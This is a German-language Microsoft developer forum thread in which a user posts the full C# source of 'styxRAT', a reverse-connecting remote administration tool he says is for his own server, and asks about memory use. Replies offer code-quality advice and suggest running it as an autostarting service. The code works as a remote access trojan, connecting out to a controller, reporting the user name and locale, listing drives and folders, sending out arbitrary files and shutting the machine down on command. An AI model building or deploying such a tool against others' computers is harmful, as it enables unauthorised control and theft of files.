Fragensteller
Zu viel Arbeitsspeicherverbrauch

Allgemeine Diskussion
-
Hallo Leute!
Ich bin neu hier und hab ein mehr oder weniger großes Problem.
Ich hab ein Remote Administration Tool für meinen Server geschrieben, die Funktionen sind folgende:
- Server ausschalten
- Laufwerke auflisten
- Bildschirm "sperren"(ist einfach eine 2. Form wo auf schwarzem Hintergrund ein Text steht)
- Ordner Auflisten
- Beliebige Daten downloaden
Mein Problem ist nun, dass dieses Programm viel zu viel Arbeitsspeicher verbraucht, und ich diesen geren für meinen Server zur Verfügung haben möchte.
Ich post gleich mal meinen Code hier unten mit dazu, damit ihr euch das ganze leichter anschauen könnt :)
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Drawing.Imaging; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net.Sockets; using System.Net; using System.Threading; using System.Security.Principal; using System.IO; using System.Diagnostics; using System.Globalization; namespace styxRAT { public partial class Form1 : Form { public Form1() { InitializeComponent(); CheckForIllegalCrossThreadCalls = false; ThreadStart del; del = new ThreadStart(Connection); Thread thread = new Thread(del); thread.Start(); } TcpClient styxClient; Stream tcpStream; IPAddress IP = null; const int maxBuffer = 100; UTF8Encoding encoding = new UTF8Encoding(); string country; ThreadStart lockscr; Thread lockscr_thread; DriveInfo drives_i; public string[] folders, files; string[] drives; string volume_label, drive_type, drive_format, drive_is_ready; int counter, counter_folders, counter_files = 0; int x = 0; string host = "ASUS-Rhok"; public Form2 start_lockscreen_thread = new Form2(); private void start_lockscreen() { start_lockscreen_thread.ShowDialog(); start_lockscreen_thread.Focus(); lockscr_thread.Abort(); return; } private void startlockscreen() { lockscr = new ThreadStart(start_lockscreen); lockscr_thread = new Thread(lockscr); lockscr_thread.Start(); } private void Connection() { while (true) { try { this.Show(); Application.DoEvents(); IPAddress[] ipAdressen = Dns.GetHostEntry(host).AddressList; foreach (IPAddress ip in ipAdressen) if (ip.AddressFamily == AddressFamily.InterNetwork) { IP = ip; break; } styxClient = new TcpClient(); styxClient.Connect(IP, 8080); tcpStream = styxClient.GetStream(); country = CultureInfo.CurrentCulture.Name; byte[] ba = encoding.GetBytes(WindowsIdentity.GetCurrent().Name + "|" + country + "|"); tcpStream.Write(ba, 0, ba.Length); ba = null; while (true) { byte[] buffer = new byte[maxBuffer]; int gelesen = tcpStream.Read(buffer, 0, maxBuffer); string empfangen = encoding.GetString(buffer, 0, gelesen); if (empfangen == "ACK") { ba = encoding.GetBytes("OK"); tcpStream.Write(ba, 0, ba.Length); ba = null; } else if (empfangen == "1") { Process.Start("shutdown", "/s /t 0"); } else if (empfangen == "2") { counter = 0; x = 0; drives = System.Environment.GetLogicalDrives(); counter = drives.Length; ba = encoding.GetBytes(Convert.ToString(counter)); tcpStream.Write(ba, 0, ba.Length); ba = null; Thread.Sleep(500); while (x < counter) { ba = new byte[maxBuffer]; drives_i = new System.IO.DriveInfo(drives[x]); drive_type = Convert.ToString(drives_i.DriveType); drive_is_ready = Convert.ToString(drives_i.IsReady); if (drive_is_ready == "False") { drive_format = "Not Ready"; } else { drive_format = Convert.ToString(drives_i.DriveFormat); } if (drive_type == "CDRom") { volume_label = "CD-ROM"; } else { volume_label = drives_i.VolumeLabel; } ba = encoding.GetBytes(Convert.ToString(drives[x] + "(" + volume_label + "|" + drive_format + ")")); tcpStream.Write(ba, 0, ba.Length); x++; ba = null; Thread.Sleep(500); } } else if (empfangen == "exit") { styxClient.Close(); tcpStream.Close(); break; } else if (empfangen == "3") { styxClient.Close(); tcpStream.Close(); this.Close(); return; } else if (empfangen == "4") { gelesen = tcpStream.Read(buffer, 0, maxBuffer); empfangen = encoding.GetString(buffer, 0, gelesen); while (true) { try { folders = System.IO.Directory.GetDirectories(empfangen); files = System.IO.Directory.GetFiles(empfangen); counter_folders = folders.Length; counter_files = files.Length; break; } catch { break; } } ba = encoding.GetBytes(Convert.ToString(counter_folders)); tcpStream.Write(ba, 0, ba.Length); ba = null; Thread.Sleep(500); x = 0; while (x < counter_folders) { ba = encoding.GetBytes(Convert.ToString(folders[x])); tcpStream.Write(ba, 0, ba.Length); x++; Thread.Sleep(500); } ba = null; ba = encoding.GetBytes(Convert.ToString(counter_files)); tcpStream.Write(ba, 0, ba.Length); Thread.Sleep(500); x = 0; while (x < counter_files) { ba = encoding.GetBytes(Convert.ToString(files[x])); tcpStream.Write(ba, 0, ba.Length); x++; Thread.Sleep(500); } ba = null; } else if (empfangen == "5") { gelesen = tcpStream.Read(buffer, 0, maxBuffer); empfangen = encoding.GetString(buffer, 0, gelesen); byte[] openfiles = new byte[maxBuffer]; openfiles = System.IO.File.ReadAllBytes(empfangen); counter = openfiles.Length; ba = encoding.GetBytes(Convert.ToString(counter)); tcpStream.Write(ba, 0, ba.Length); Thread.Sleep(500); tcpStream.Write(openfiles, 0, openfiles.Length); openfiles = null; ba = null; } else if (empfangen == "6") { startlockscreen(); ba = encoding.GetBytes(Convert.ToString("Screen Locked!")); tcpStream.Write(ba, 0, ba.Length); ba = null; } else if (empfangen == "7") { start_lockscreen_thread.exit(1); start_lockscreen_thread.Close(); ba = encoding.GetBytes(Convert.ToString("Screen Unlocked!")); tcpStream.Write(ba, 0, ba.Length); ba = null; } } } catch (Exception ex) { } } } } }
LG,
Rhok
- Bearbeitet Rhok Mittwoch, 8. Januar 2014 14:13 Fehler
- Typ geändert Ciprian Bogdan Montag, 17. März 2014 10:52 keine Rückmeldung des Fragestellenden
Alle Antworten
-
Hi Rhok,
ich hab mir deinen Code angesehen.
Leicht zu lesen ist anders und das liegt nicht anfehlenden Kommentaren. Sondern das eine Objekt Orientierte Strucktur fehlt und du anscheinend alles in einer Methode machst. Es würde sich z.B. bei der If abfrage welcher Befehl gekommen ist den Quellcode immer in eine Methode mit aussagekräftigen Name auszulagern.
Jetzt zu deinem Speicherproblem.
Genau kann ich es auch nicht sagen, aber was mir direkt auffält ist, das du bei einigen Objekten die Dispose Implementiert haben, es nicht aufrufst. Das kann zu Speicherproblemen führen. Dann scheinst du bei einer Exeption auch nicht Aufzuräumen. Solltest du machen. Zudem solltest du nie einfach die Exeption Abfangen. Wenn du nicht weißt was du machen solltst, Log sie wenigstens irgendwo.
So wenn ich dich richtig Verstanden habe läuft dein Programm auf einem Server und Laust dort auf einem Port.
Dann kannst du besser einen Dienst als eine Form verwenden (weniger Speicher bedarf) und den Dienst kanst du auch so konfigurieren, das er nach einem neustart automatisch startet. Dann bietet sich auch ein asyncroner TCPListener an, da braucht du keinen eigenen Thread denn du dauernd schlafen schickst. Sondern nur reagieren, wenn einen Nachricht ankommet (Speichersparender und Performanter).
Und gib bitte mal an wie viel Speicher dein Programm braucht. Wenn ich jetzt richtig im Kopf habe, reserviert der GC automatisch 16 (x86)/ 32 (x64) MB an Speicher.
MFG
Björn
-
Hallo Björn,
Danke für deine Antwort, das mit den Methoden und mit Dispose werde ich gleich mal ändern :)
Mein Programm läuft auf dem Server und verbindet sich automatisch zu meinem Laptop wenn ich da den Client gestartet habe, also eine reverse Connection.
asynchrone TCPListener sagt mir zwar noch nichts, aber ich bin mir sicher, dass Google ein paar Referenzen ausspucken wird :)
Den Speicher kann ich dir nur vom TaskManager sagen, also da steht das er 6.264K privaten Arbeitsspeicher verbraucht und wenn ich eine Datei runterlade, geht er auf ca. 10.000K privaten Arbeitsspeicher rauf und nicht mehr runter.
MFG
Rhok
-
Hallo zusammen,
was der Task-Manager zum Thema Arbeitsspeicher berichtet, ist - zumindest was .NET-Anwendungen angeht - recht unzuverlässig. Details dazu können hier eingesehen werden. Zum anderen ist es mit .NET-Anwendungen so, dass Speicher erst dann freigegeben wird, wenn "Speicher-Druck" da ist, d.h. wenn die Runtime sonst keinen neuen Speicher allokieren könnte. Solange das System aber normal arbeitet, ist die Anzeige eines hohen Arbeitsspeicherverbrauchs nicht relevant. Oft reicht es schon, die Anwendung zu minimieren, damit die Anzeige im Task-Manager drastisch nach unten aktualisiert wird. Wenn dich der Speicherverbrauch wirklich besorgt, solltest Du einen .NET Memory-Profiler verwenden.
Gruß
Marcel -
-
Hi,
wenn ich es richtig im Kopf habe, kann man das Programm Signieren und es bei der Installation so einrichten, das es als Admin startet.
Einen Link, direkt dazu habe ich jetzt auf die Schnelle nicht gefunden.
Aber schau dir mal den Link an.
MFG
Björn
-
Hi,
nur einfach Signiern reicht, da auch nicht. Das Programm muss dann schon vom Admin installiert werden.
Wie gesagt nur wenn ich das jetzt richtig im Kopf habe. Ich hab da auf die schnelle jetzt nichts gefunden.
Aber ich denke es geht um dein Tool was nach dem neustart des Serves automatisch starten soll, hier kannst du am besten einen Diensst verwwenden. Und ihn unter einem Benutzerkonto starten lassen.
MFG
Björn
-
*****************************************************************************************************
Dieser Thread wurde mangels weiterer Beteiligung des Fragestellenden ohne bestätigte Lösung abgeschlossen.
Neue Rückfragen oder Ergänzungen zu diesem Thread bleiben weiterhin möglich.
*****************************************************************************************************Ciprian Bogdan, MICROSOFT
Bitte haben Sie Verständnis dafür, dass im Rahmen dieses Forums, welches auf dem Community-Prinzip„Entwickler helfen Entwickler“ beruht, kein technischer Support geleistet werden kann oder sonst welche garantierten Maßnahmen seitens Microsoft zugesichert werden können.